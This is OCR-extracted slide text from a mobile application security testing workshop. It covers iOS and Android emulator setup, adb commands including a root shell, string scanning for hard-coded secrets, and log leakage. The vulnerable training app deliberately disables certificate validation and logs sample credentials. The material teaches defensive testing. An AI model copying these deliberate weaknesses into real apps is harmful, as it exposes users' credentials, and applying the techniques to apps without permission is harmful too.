Mobile Security Testing
Workshop

Introduction to Practical Testing for
Security Issuesin Mobile Applications

Paco Hope cisspcssLp Andrew Lee-Thorp

Principal Security Evangelist Associate Principal Consultant
Cigital, Ltd Cigital, Ltd

London UK London UK

Email: paco@cigital.com Email: alee-thorp@cigital.com

Twitter: @pacohope




Introduction

Name
Role HELLO
Experience/ background

Which platform you’re testing
* Apple

* Android

« Web
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Administration

» Course materials
* Do you have Android dev kit?
* Do you have Apple dev kit?

Course timing
 Facilities

* Mobile phones

* Please ask questions
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What you need

Android iOS

* pandroid-sdk_r24.4.1- «  XCode-Command-Line-7.3.1.dmg
windows.zip *  MobileTestTraining.zip
apktool_2.0.3.jar - burpsuite_free_v1.6.32.jar

«  SimpleWebView.unaligned.apk

*  burpsuite_free_v1.6.32.jar
Torus.apk

* https-loader.apk
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About Cigital

Cigital is one of the world's largest application security firms
helping organisations make secure software

We offer:

Managed Services

Professional Services

Customized Products

Remediation Guidance

Security Programme Design Services
Training

Cigital is headquartered near Washington, D.C.
with regional offices in the U.S., London and India.
www.cigital.com ' ¢ Cigital




Course Outline

*  Motivation for Mobile Security Testing
» Setting up Tools and Environments

+  Specific Problems to Test For
* Insecure Storage

- Proxying and testing web traffic (HTTP)
- Proxying and testing web traffic (HTTPS)

« Look for information leakage
* <Bypass client-side controls>
« <Test for client-side SQL injection>

»  <Test for web views>

6
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Agenda

Time Duration Description

10:30 |0:45 Getting familiar with the environment
(i0OS and Android)
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Why Security Matters
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App Failure #1: Local Data

Irony alert for RSA as its conference app found to leak data on users and is open to potential

* Included database of o
conference attendees in |

Researchers have uncovered some worrying holes in the RSA 2014 Conference app for iOS and Android, leaking
data of the thousands of users running the software on their phones.

t | l e a p p The app, ironically one designed to help people around this week’s security event, contains a weakness leaving it

©open to man-in-the-middle attacks, where an attacker could inject code into the login sequence to steal credentials.

RSA 2014: RSA Conference App Leaks Data On Thousands Of
Users

-

&

It also downloads an SQLite database file used
to populate visualisations, such as schedules

[ ) and speaker information, but that file also
contained information of every registered user ¢

the software, ncluding name, surname, title,

employer and nationality, security consultancy
a n yo n e W h O IOActive said in a blog post.

Irony alert for RSA

“I have no idea why the app developers chose t
downloaded the a SECURITY o ey aae e e e

downloaded and installed the application are

unlikely to have thought that their details we

being made public and published in this way.
Marketers love this kind of information though,¥
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App Failure #2: Storing Credentials

Starbucks Mobile App
ML Tty oy Y Eprem e e e e o (R - Stored userid/

NEW YORK (CNNMoney) paSSWO rd |n the
Starbucks' mobile app leaves customers' passwords open to
attack, according to a research report. clear

The popular app, which allows Starbucks (SBUX) customers to purchase drinks and
food directly from their smartphones, saves customers' usernames, passwords and
other personal information in plain text. That means a hacker could pick up a

left-behind phone, plug it into a laptop and easily recover a Starbucks customer's ¢ PEO p I e re U S e
password without even knowing the smartphone's PIN code. 0
passwords!



How ‘bout Those Credentials?

For example: Adobe and 38M Passwords
* Clear-text hints like “my work password”
» Trivially decrypted

© User ID JELCERCUEIREPETENNLEIY @ Password hint try qwerty123‘
0o~ | =~ | ~XXXXx@jcom,home.ne.jp~ | ~EhSTLOMK 5 ==|=77771 -

4466~ |-~ |- xx@hotma'll com- | ~ahw2b2BELzgRTWYvQGn+kw==~| -~quiero a... |-~
4467~ | ol oxxxdva D -MTcHPEPc31oxGSCatHBw==-| |--

4468~ | s : ==—1_|-~-
4469~ | - X 3y a . (4] Password data (base64) |
4470-|--|- ----- i e

4471~ | -~ | {xxxx@yahoo.com OEmalladdress xGGCatH8w=--| -myspace |-~
4471~ | == |~ : S JI8wDrrioxG6CatHBw==~|-regular|--
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»

Failure #3: Local Data

Local Database Stored on the Phone

Encryption key paymentMethod paymentExpYear
customerPassword paymentCardType paymentBillingCode
customerEmail paymentCardNumber customerPhone
deliveryStreet paymentSecurityCode longitude (of device)
deliveryState paymentExpMonth latitude (of device)
deliveryZip email

» Stored sensitive data in the clear

» Could be recovered by adjacent
malware

Free

Category: Food & Drink
Updated: Apr 12, 2014
Version: 3.12

Size: 31.9 MB

Languages: English, French,
Spanish

Seller: ZippyYum LLC

© 2012 ZippyYum LLC
Rated 44
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he goal is not to detect a
bad app before release.

The goal is to
deliver a good app.
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THE KINDS OF MOBILE APPS
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Two Broad Classes, 2 Subclasses

(A) No Native Code (B) Native Code
1. Mobile-aware 3. Hybrid /
web site framework-based
2. WebView app app
4. Full native code
app
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4 Kinds of Mobile App

Server
Code

Fundamentally the Same

Device none
Code

Mobile
Web
Site

Device’s Framework
WebKit (Cordova, PhoneGap,
etc.)
HTML5
JavaScript
CSS Portable Code
Data
ImageS, SQLite, Images, SQLite,
etC. etC-
WebView Hybrid/
App Framework
App

Native Code
(Java, Swift
Objective-C, C)

DEYF!
Images, SQLite,
etc.

Native
App

' < Cigital



App Type #1: Mobile-Aware Web Sites

* Not really a “mobile app”

» All HTML5/JavaScript lives on your
“server”

+ Can invoke mobile-specific JavaScript
APIls in the mobile browser

« GPS/Location
- Upload Photo

- Easiest to test with desktop browser
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Mobile Aware Web Sites

Desktop

L C' & https://www.wunderground.com

WEATHER Maps & Radar
UNDERGROUND

ton

5 Find Your Hyper Local Weather

Track Your Weather

Search Map n

Severe Weather News & Blogs

Ferring

Photos & Video  Activities More v

& ® O & =

More Maps

Regional Radar

Europe Severe Weather

Global Temperatures

Search Locations r’y & &

Worthing, United Kingdom

18

3 T

19 160 13° 13°

© Mapbox © OpenStreetMap | Improve this map

Mobile

Search Locations

*

Worthing, United Kingdom

20°¢

Track Your Weather
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Testing a Mobile Web Site

Rippl
° & Chrome File Edit View History Bookmarks People Window Help
Chrome Extension XYY e

€« C' [ edition.cnn.com
*  Emulates mobile DOM artoun
+ Adjusts resolution = e —
- Allows configuration of [ RN cil on Earth' - s

device version - T e o

Simulate GPS Timeout
Platform: Mobile Web ! srs

Device: IPhone5 Navigation Simulator
R ¢ H 1 PX file?
0s: 10S6 low do | create a G le? Leamn more

Manufacturer: Apple . No file chosen

- Out of date and =5 r—

- 88,000 flee Canadian city as wildfire set
el i A b to double in size

o0 CSS Pixels: 320x568
. Is this what climate change looks like?
u n S u p p O rte & User Agent: Mozilla/5.0 (IPhone; CPU iPhone OS 5_0 |

like Mac OS X) AppleWebKIt/534.46 | Victim: 'It was driving through hell’
(KHTML, like Gecko) Version/5.1
Mobile/9A334 Safari/7534.48.3 Top stories

Accelerometer




App Type #2: WebView Mobile Apps

» Limited native code (e.g., Java, Swift, Objective-C)
* Lots of stuff installed in the mobile app

« HTML5 / JavaScript / CSS

 Assets:images, video, SQLite databases

* Access via JavaScript to some mobile functions
- GPS

 Photos / files
 Local data stored on the device (in app storage)
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App Type #3: Hybrid / Framework

» Apache Cordova: Free and Open Source
» Adobe PhoneGap ﬂ

+ Creates uniform meta-platform that abstractH
most differences between iOS / Android

* Native code can be added to access native
functionality if needed

ﬁ AL ‘ \: Cigital



App Type #4: Fully Native

» Code written in supported language
« i0S: Swift, Objective-C, C
« Android: Java, C ;
* Developing / debugging is like working on a t\‘.‘
desktop app
 Real binaries, debuggers
 Simulators for devices you don't have

- Cigital
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Lab 1: Getting Familiar with
the Environment

Android
iPhone
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Getting Started (Android)

SDK + phone + USB SDK + System Image
cable

Packages
15! Name API Rev. Status
"' SDK Platform Android N Preview N 2 | Not installed
'8 Android TV Intel x86 Atom Svstem Imaae N 2 Not installed
[ Intel x86 Atom 64 Svstem Imaae N 2 | Not installed
('8 Intel x86 Atom Svstem Imaae N 2 Not installed
v [ Android 6.0 (API 23)

[# pocumentation for Android SDK 23 1 | Not installed

%' SDK Platform 23 3 [INotinstalled
¥ Android TV ARM EABI v7a Svstem Imaae 23 3 | Not installed
'8 Android TV Intel x86 Atom Svstem Imaae 23 3 Not installed
'8 Android Wear ARM EABI v7a Svstem Imaae 23 3 | Not installed
¥ Android Wear Intel x86 Atom Svstem Imaae 23 3 | Not installed
¥ ARM EABI v7a Svstem Imaae 23 3 [INot installed
[ Intel x86 Atom 64 Svstem Imaae 23 9 | Not installed
55 Inte] x86 Atom em /[mage O insta
¥ Gooale APIs ARM EABI v7a Svstem Imaae 23 7 | Not installed

Show: Updates/New Installed Select New or Updates Install 4 packages...

Obsolete Deselect All Delete 1 package...

O e

Done loading packages.
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Getting Started (Android) i

Android Virtual Device Manager

« AVD Manager allows a graphical interface for creating,
or starting different Android devices.

N A -

List of existing Android Virtual Devices located at C:\Users\dlogan\.android\avd
AVD Name Target Name Platform API Level CPU/ABI New...
i v Blank Android 2.2 2.2 8 ARM (armeabi) i Edit..
~ C2DM Android 2.2 2.2 8 ARM (armeabi)
~ MarketTest Android 2.2 2.2 8 ARM (armeabi) Delete...
~ Perms2 Android 2.2 2.2 8 ARM (armeabi) Repair..
~ Simmy Android 2.2 2.2 8 ARM (armeabi)
~ TestNew Market & Rooted (Googlel.. 2.2 8 ARM (armeabi) Details...
~ New231 Android 2.3.1 231 9 ARM (armeabi)
v C233P0O Android 2.3.3 233 10 ARM (armeabi) Start...
I ~ Avalid Android Virtual Device. -} A repairable Android Virtual Device.
X An Android Virtual Device that failed to load. Click 'Details' to see the error.

| - TeCigital



Getting Started -Android Emulator

”\_/A
i
(ANl O HQ )

i e e e Ly A
e g e [ e v s

) i g

The Android
Emulator is
installed with the
Android SDK.

 Allows full emulation
of default hardware
(Processor,

e camera,sdcard,etc)

 Allows redirection of
networking (DNS,
HTTP Proxy,etc)

e Has full root access
on the device.
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Task: Create an Android Virtual Device

1. Runthe”AVD Manager”: /path/to-android-
sdk/tools/android avd

Click on the “New” (top-right) and name the image “cigital”.
Target choose for example, “Android 2.2 - API Level 8".
Choose “Hardware”section click “New".

“SD Card Support” and click “Ok”.

Enter a value of “100” MiB within the “Size” field for the SD Card.
Click “"Create AVD".

¢ Cigital

2
3
4
5. Inthe“Property”field scroll down and selectthe entry
6
7
8




Task: Start the emulator

X86
S emulator —-avd cigital acceleration
$ HAXM is working and emulator runs in fast virt mode available on
emulator: emulator window wasS out O view and was :

OSX, Linux*

recentered

and Windows

emulator: UpdateCheck: current version '24.4.1', last for x86 targets
version '24.4.1"

and active devices

S ./android-sdk/platform-tools/adb devices

List of devices attached

* daemon not running. starting it now on port 5037 *
* daemon started successfully *

emulator-5554 device

# AL v Cigital




Task: Explore the emulator

./android-sdk/tools/emulator -list-avds
./android-sdk/platform-tools/adb devices

View logs

Copy files

Get root shell

Package Manager

Slele)
Slele)
adb
adb
Slele)

* daemon not running.

logcat

push /Users/andrew/Shared/burp.crt /mnt/sdcard
install -r SimpleWebView.unaligned.apk

install -r https-loader.unaligned.apk

shell

* daemon started successfully *

# 1s /data/data
# 1s /mnt/sdcard

Elele)
adb

COIlt .

shell pm
shell am start —n

—aL —

—_— L T L [ e
cxdlllple . ollllplenNecbV.1LeEw

Starting: Intent {

cmp=

com.example.SimpleWebView/ .MyActivity }

List active devices

Install apps

starting it now on port 5037 *

Explore file-system

Use IPC

v Cigital




Getting Started (iOS)

[ NON ] | 2 | | A 8 iPhone...s (9.3) Running training on iPhone 6s Plus 2 = © <& O3 O |
. DOW n | O ad/l I lstal | B R Q A © = o B 88 @ training training ) m ViewController.m ) No Selection < >
v [ training M //
v [ training // ViewController.m

h| CustomCache.h ;; training
O e m) CustomCache.m // Created by Grant Douglas on 05/05/2016.
h| AppDelegate.h // Copyright © 2016 Cigital. All rights reserved.
m| AppDelegate.m

RIR¥iewControtert) #import "ViewController.h"

.
* Requires Apple
h| NSURLRequest+...eCertValidation.h @interface ViewController () <NSURLConnectionDelegate>

@property (weak, nonatomic) IBOutlet UIWebView xourWebView;
@property (weak, nonatomic) IBOutlet UILabel *statusMessage;
@property (weak, nonatomic) IBOutlet UITextField xhostName;
@property (strong, nonatomic) IBOutlet UISwitch xcert_validation;

m| NSURLReqguest+...CertValidation.m

Developer Account ——

LaunchScreen.storyboard

Info.plist @end

. A
o Pl S s @implementation ViewController
We ave I O n » [ Products UIGestureRecognizer xtapper;

static int cert_toggle = 1;

E = [ o . {0 | <7 |/ training
training[12457:736447] Received data

* Open the xcodeproject T

connect to https://www.freebsd.org/en/
via HTTPS
2016-05-0R 11.57.42 £R3

L]
fl Ie + (@ OFE|| Auos @ Filt All Output & g}

- Cigital




Choose to Run the Simulator

@ Xcode File Edit View Find Navigate Editor Product Debug Source Control

00 » | | v /- traini >
{ D No devices connected to 'My Mac'..

= Q ([ ¢ EditScheme..

o New Scheme...
v [ training 1 Manage Schemes... /" Generic iOS Device
v [ training
o PR

h| CustomCache.h
m  CustomCache.m l W$ iPad 2 (9.1)
h| AppDelegate.h TA W iPad 2 (9.3)
m AppDelegate.m W8 iPad Air (9.1)

| h) ViewController.h W8 iPad Air (9.3)
m ViewController.m W8 iPad Air 2 (9.1)
h| NSURLRequest+...eCertValidation.h W8 iPad Air 2 (9.3)
m) NSURLRequest+...CertValidation.m W8 iPad Pro (9.1)

8 iPad Pro (9.3)

Main.storyboard
W iPad Retina (9.1)

W iPad Retina (9.3)
W iPhone 4s (9.1)
¥ iPhone 4s (9.3)
8 iPhone 5 (9.1)

W8 iPhone 5 (9.3)

W8 iPhone 5s (9.1)
W8 iPhone 5s (9.3)
W8 iPhone 6 (9.1)

W8 iPhone 6 (9.3)

8 iPhone 6 Plus (9.1)
W iPhone 6 Plus (9.3)
¥ iPhone 6s (9.1)
8 iPhone 65 (9.3)

; [5) Assets.xcassets
y LaunchScreen.storyboard
Info.plist
» [ Supporting Files
» || Products

Phone 6s Plus (9.3)

Add Additionar Simurators...
Download Slmula(ors

“

L Running train

int Target 9.3

;ut Language

lationalization

Choose the Target

Select a simulator (iPhone 6
Plus is fine)

Click “run”
Simulator takes a while to start
Can also run simulator alone

@ Xcode File Edit View Find Navigate Editor Product Debug Sou

About Xcode Running training on iPhone 6s Plus

Preferences...

i traini
= Behaviors [ training
vE

v Open Developer Tool O Instruments

Services ¥ Simulator

Hide Xcode ¥ Simulator (Watch)

Hide Others < @ Accessibility Inspector iOS Deployment 1
W FileMerge

& Application Loader
Quit Xcode

h ' NSURLRequest+...eCertValidation.h More Developer Tools...




Expect a Few Bumps the First Time...

Device Information

.
DEVICES
¢ eVI Ce S m e n u O r B sees o .
B 10.11.4 (1565 Model iPhone 6
D Porcupine Capacity 55.71 GB (26.65 GB available)
9.1(138143)
Battery 94%

registering your device =EL (o e

View Device Logs Take Screenshot

N

Paired Watches

» Signing Key for your

training | Build training: Failed | Today at 12:59 1@
L] L]
personal identity :
. ; Failed to code sign "training". r
S No valid signing identities (i.e. certificate and private
key pair) matching the team ID “6T9C62RV29"” were
found.

° X C d t Xcode can attempt to fix this issue. This will reset
O e Ca n e O u your code signing and provisioning settings to
recommended values and resolve issues with signing

th ro u g h th e Se ea S i Iy. .o identities and provisioning profiles. |
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Sensitive Data Exposure

In transit and at rest

L - wCigital



SensitiveData Exposure

The main problems associated with sensitive data exposure

 Improper classification:
Failing to recognize the What information do
sensitivity level of the data you consider
in the application iti

« Lack of authorization:
Failing to ensure that the
current user is allowed to
view the requested
information

CONFiD

- Cigital



Sensitive Data Exposure

Test for exposure of sensitive data in transit:

« Check for sensitive data being transferred in plain text
HTTP

» Look at URL parameters, form fields, cookies, and
other HTTP parameters

* Verify that connections are not easily compromised by
man-in-the-middle (MITM) attacks

+ ‘L | v Cigital



Data at rest

Storage of Sensitive Data

 Discussion of secure
storage is nuanced

* In this discussion of
sensitive we include
things that are
important to the correct
function of the app
itself.

. ‘L

Two things to test that
the application should
never be doing:

1. Logging sensitive data

2. Hard-coding sensitive
data in the application
itself (credentials,
hidden URLs, etc.)

- Cigital
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Lab2: Insecure Storage

Looking for information leakage in logs
Looking for hard-coded sensitive data

L - wCigital



Task: Scan for hard- Coded
strings (10S) sre s e

v training

CCCCCCCCCCCCCCC

1. In XCode: Product -> Build (or Build For)
2. Locate the build: Select training-> Show e
in Finder e
R R . - ' Show in Finder |
3. Run strings against the build oo B

Show File Inspector

4. Look for hard-coded secrets

$ strings /path/to/Build/Products/Debug-
iphonesimulator/training.app/training
CustomCacheViewControllerNSURLConnectionDelega Source Control S
t e Project Navigator Help >

+ Cigital




Task: Scan for hard-coded
strings (Android)

1. Unzip the file Torus.apk

2. Run strings against classes.dex

And/or

3. Run java -jar apktool.jar d Torus.apk

4. Look for secrets in the file Constants.smali

‘ AL | v Cigital



Task: Information leakage In
logs (10S)

» Start the training app

» Enter example.com

* Click HTTP

- Watch the simulator log

* There are a few ways to do this ...

‘ AL | v Cigital



.. Use the system logs

w G iy 2

Hide Log List Clear Display Reload Ignore Sender Insert Marker Inspector Filter
I

v ANarews—MBP SPringsoara(l>sL]: (MPUSYSTEMMed1alontrols| UPAaTing SUPPOrted cOmmanas TOr NoW playlng application.
SYSTEM LOG QUERIES May 9 Andrews—MBP training[1655]: UAT env: https://uat_site.cigital.com/example_page/
All Messages May 9 Andrews-MBP training[1655]: UAT basic auth - sysadmin:p@sswdrd_hldd3n
May 9 Andrews-MBP training[1655]: Password incorrect. Expected: TheDog8TheHamburg3r
May 9 Andrews-MBP training[1655]: Disabling caching (for webview)
LR LR May 9 Andrews-MBP assertiond[1585]: assertion failed: 15E65 13E23@: assertiond + 15801 [3C808658-78EC-3950-A264-79A64EQE463B]: 0x1
Diagnostic and Usage Messages May 9 -— last message repeated 2 times ——
» User Diagnostic Reports May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_i added 285 to 0x7fee5a612210
May 9 Andrews-MBP searchd([1648]: (Normal) IndexCI in _data_map_get_data : added 286 to 0x7fee5a612210
» System Diagnostic Reports May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_i : added 287 to @x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data. : added 288 to @x7fee5a612210
FILES May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data. added 289 to 0x7fee5a612210
system.log May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data : added 290 to 0x7fee5a612210
. May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data : added 291 to Ox7fee5a612210
¥ ~/Library/Logs May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_i : added 292 to 0x7fee5a612210
e aeband May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data. added 293 to 0x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data : added 294 to 0x7fee5a612210
» com.apple.Notes May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_.: : added 295 to 0x7fee5a612210@
. May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 296 to 0x7fee5a612210
S May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id added 297 to @x7fee5a612210
CoreSimulator.log May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id added 298 to 0x7fee5a612210
May 9 Andrews-MBP searchd([1648]: (Normal) IndexCI in _data_map_get_data_id: : added 299 to 0x7fee5a612210
'V DA7880C5-6095-4F4A-B8B7-..  May o Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 300 to Ox7fee5a612210
» asl May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 301 to @x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id added 302 to 0x7fee5a612210
P com.apple.clouddocs.as| May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id : added 303 to 0x7fee5a612210
» com.apple.revisiond May 9 Andrews—MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 304 to 0x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 305 to @x7fee5a612210
P CrashReporter May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 306 to 0x7fee5a612210
» DiagnosticMessages May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 307 to 0x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id : added 308 to 0x7fee5a612210
» Handoff May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 309 to 0x7fee5a612210
» MobileContainerManager May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 310 to @x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1. added 311 to 0x7fee5a612210
» Mobilelnstallation May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data : added 312 to 0x7fee5a612210
S — May 9 Andrews—MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data : added 313 to Ox7fee5a612210
9 May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id: : added 314 to 0x7fee5a612210
system.log May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 315 to 0x7fee5a612210
— May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 316 to 0x7fee5a612210
» Ubiquity May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id : added 317 to Ox7fee5a612210
Simulator.log May 9 Andrews—MBP searchd [1648]: (Normal) IndexCI in _data_map_get_data : added 318 to 0x7fee5a612210
May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 319 to 0x7fee5a612210
» CoreTelephonyTraceScratch May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 320 to 0x7fee5a612210
» DeviceLink May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 321 to 0x7fee5a612210
N . May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data, : added 322 to @x7fee5a612210
» DiagnosticReports May 9 Andrews—MBP searchd[1648]: (Normal) IndexCI in _data_map_get data_id : added 323 to Ox7fee5a612210
fsck_hfs.log May 9 Andrews-MBP searchd[1648]: (Normal) IndexCI in _data_map_get_data_id:1213: added 9 to 0x7fee5a72bb50
May 9 Andrews-MBP assertiond[1585]: assertion failed: 15E65 13E230: assertiond + 15801 [3C808658-78EC-3950-A264-79A64EQE463B]: Ox1
» Handoff May 9 ——— last message repeated 7 times ———
» SMSMigrator May 9 Andrews-MBP dataaccessd[1657]: 0x7fb650602df@|DA|Error|spinnerIdentifiers to be implemented by subclass
May 9 Andrews-MBP dataaccessd[1657]: 0x7fb650602df@|DA|Error|
SparkleUpdateLog.log
» Sync Possible Failure: Cal db has retain count > 1,
May 9 40 Andrews-MBP dataaccessd[1657]: 0x7fh650602df0|DA|Errnr\splnnerldentlflers to be implemented by subclass
talagent.log May 9 140 Andrews-MBP dataaccessd[1657]: @x7fb650602df@|DA|Error|
& Size: 268 KB - v Now
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... Activate Console (XCode)

Xcode File Edit Bl Find Navigate Editor Product Debug Source Control Window Help

a o 100%@ = Mon13:52 GrantDouglas Q
@00 > | m|(p StandardEdior > Running training on HexPlus 7 =0 <ollOono
Assistant Editor >
BR QA Version Editor P ing training ) m ViewController.m ) [] -vistHTTPS: < >
v [ training Nevigail > (dispatch_time(DISPATCH_TIME_NOW, 2 * NSEC_PER_SEC), dispatch_get_main_queue(), A{
v [ training Debug Area »  Activate Console _a3C : ©""'1)
b CustomCache.h Utilities > =
m CustomCache.m L IR A g stringWithFormat: @"https://%@", _hostName.text];
h AppDelegate.n BECRCEUC IR Ll ([host isEqualToString: @"https://example.org"])
Show Tab Bar

m AppDelegate.m

Ty — s NSLog(@"Attempting to connect to example.org via HTTPS - Certificate validation will be disabled"

E et o [statusMessage setText: @"Status: Connecting to example.org via HTTP no cert validation

h NSURLRequests...eCertValidation.h

m NSURLRequest+...CertValidation.m

~ :“‘"‘5“’”’""”"" NSLog(@"Attempting to connect to ¥@ via HTTPS", host);

W Asaats oassets [_statusMessage setText: [NSString stringWithFormat:@"Status: Connecting to ¥@ via HTTPS", host]l;
LaunchScreen.storyboard 3

Info.piist

> [ Supporting Files NSURL *url = [NSURL URLWithString: host:
NSURLRequest *requestObj

» [ Products.

[NSURLRequest requestWithURL:url cachePolicy:NSURLRequestReturnCacheDataElseload timeoutInterval:10.0];

NSURLConnection *theConnection=[[NSURLConnection alloc] initWithRequest:requestObj delegate:selfl;
(!theConnection) {

UIAlertView *alertView = [[UIAlertView alloc] initWithTitle:@"Connection error" message:@"Could not connect to host" delegate:

‘initwithRequest:delegate:' s deprecated: first deprecated in i0S 9.0 - Use NSURLSession (see NSURLSession.h)

cancelButtonTitle:@"ok" otherButtonTitles:
[alertView show];

"UlAlertView is deprecated: first deprecated in i0S 9.0 - UlAlertView is deprecated. Use L ith a preferredStyle of T

[INSURLCache sharedURLCache] removeAllCachedResponses;
[INSURLCache sharedURLCache] setDiskCapacity:@1;
[INSURLCache sharedURLCache] setMemoryCapacity:0];

[[NSURLCache sharedURLCache] removeCachedResponseForRequest: requestObjl;

CustomCache *cache = [[CustomCache alloc] initWithMemoryCapacity:0 diskCapacit i 3
[NSURLCache setSharedURLCache: cache];

NSString *cacheDir=[NSSearchPathForDirectoriesInDomains(NSCachesDirectory, NSUserDomainMask,

) objectAtIndex
[[NSFileManager defaultManager]removeltemAtPath:cacheDir error:

= = 0 ol training

https://uat_site.cigital.con/ex
auth - sysadmin: it

issword incorrect. Expected: TheDog8TheHamburg3r
sabling caching (for webview)

All Output &

¢ Cigital



... Window -> Devices (XCode)

Xcode File
[ ]

DEVICES

My Mac

HexPlus

SIMULATORS

Apple TV 1080p
iPag2

1Pag Alr

Pad Air 2
iad Pro
iPad Rotina
iPhane 45

iPhone 5

iPhane 5¢

iPhone &
iPhone 6 Pius
iPhone 6

iPhone 85 Plus

Edit

View Find Navigate Editor Product Debug Source Control [[IIRTI Help

Device Information
Name

Mol

Capacity

Battery

i0s

Identifier

View Device Logs

Paired Watches

Installed Apps.

training
Blitzkriog
keychainServices

HexPlus kernel(8] <Notice>

HoxPlus

iProne & Plus

55.49 GB (3,43 GB avalavle)

5%

932 (13768)
05900040b409862168bf2000c5b3e9c6287214f

Take Screenshot

1 com.cigitalaa training
1 com.priyank Bitzkrieg
1 hexplo it keychainServices

| nomwios tomiatig{ s8] [ Atwinge ] KEsmpeta

HexPlus training(839] <Marning>:
ex

HexPlus kernel[8] <Ho
HexPlus ki

co>
arnel (8] <Moticer

HexPlus kernel(8] <Motices: Sandbox: training(839) deny(1)

HexPlus kernel[8] <Notice>

ning[839] <a:
ining(839] araing>: Received dat

box: training(839) eIt

) = trainin

Hextlus kernel(6] sotice>: Sandbox
Sexlas kermel(0] dotice: Samdber
WexPlus karnel (0] Soticer: Sandbox

Nexrius Sraininalea9] <iarnim
HexPlus traini

: Attespting to connect t
ning(839] <Marning>: Re

ndbox: training(830) deay(1) tile-resdd

9) dery(i) tilawritealink /pcivata/var/m

Minimize ®M
Zoom

Documentation and AP Reference 030

Welcome to Xcode %1
082

Organizer

Projects

Package Manager 2%9

Bring All to Front

B trai

ing — m ViewControlierm

//example.con via HTTPS

e/
1) file-write-unlink =T

te-unlink /private; a/ver /mchiLe/Comtatners;Data/Aon
/var/mobile/Containers/Data/AppLication/FAF91960-00CE-4C97-BC1A-44177E160363/L.
TIPS

Le/Containers/Data/AppLication/ FAF91960-0DCE-4CO7-8C

e oL ot s T e Lo Lo LS

mdbon: training(839) deny(1) File-vrite-ualink /privetesvar/mobiLe/Contad
) filewrite—umlink /private/var/mobile/Containers/Da

ing(839) demy(1) file-read-data /private/var/mobile/

eaingo: Attesptig o conmect 1o https://exsmp Ps.

AppL.
-/canmnm/n- -/up\mmn/wmm

PESO® U4AD -

iata /private/var/obile/Containers/Data/Application/FAF1960-00CE-4COT-BC1A-4417TE160363/ Library/Caches/Saapshots

IA-44177E160363/Library)/ Caches
iy

cation/FAF91 y“—ncum-am-«nmumu /Caches/Snapahots

cation/FAF91960-00CE-4CY: aches/Snapshots
19

97-BC1A-44 ary/c
Cantainars/Duto/AppLicat ion FAFS1960-H0CEACOT-BELA4TITELGARES/ Library /cachas, Snapahots

on/PAPR1060-40€K-4CYT-BCIA441TTELONDNO/ Lk

44177160363/ Library, Coches
C57-BCLA44177E160363 Library, Coches/Snapshots
Lication/FAF91960-90CE—4C97-BC1A-44177E160363/Library/Caches/Snapshots
ry/Caches/Snapshots

o

100% B 2 Mon13:54 Grant Douglas
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Task: Information Leakage IN

55555

logs (Android)

* Install Torus.apk
« Start Torus Username

* |n a console window view the bob
logs with adb logcat

Enter a username and Password

password, e.g. Lorreeeee |
bob/password123

 Click Login (O Remember me

+ ‘L | v Cigital




Proxying

Intercepting, examining, modifying web
traffic

L - wCigital



HTTP Proxies

HTTP (web) proxies act as intermediaries between
clients and servers and may be used for several reasons:

- Speed up internet access

* Filter undesirable or
malicious content

* Prevent data leakage
 Provide anonymity

- TESTING

ﬁ AL ‘ \: Cigital

55



56

HTTP Proxy Types

We are Interested in one particular type of proxy:

example.com

User Proxy ! Internet

-
.................................

Internal network

Forward proxy



Running a Local Intercepting

Proxy

You can run a local HTTP proxy on your own machine:

» Start local proxy and
configure interface and port
to listen to

* If necessary, configure
upstream proxy server(s)

-
‘ Edit proxy listener

===

J Binding T Reguest handling T Cel

E1S

rtificate ]

- Cigital



Intercepting Traffic in the Local -
Proxy

Monitor, intercept,and rewrite traffic in your local proxy:

(= N
‘ Burp Suite Professional v1.6 - licensed to Cigital Inc. [single user license] E@IQ
Burp Intruder Repeater Window Help

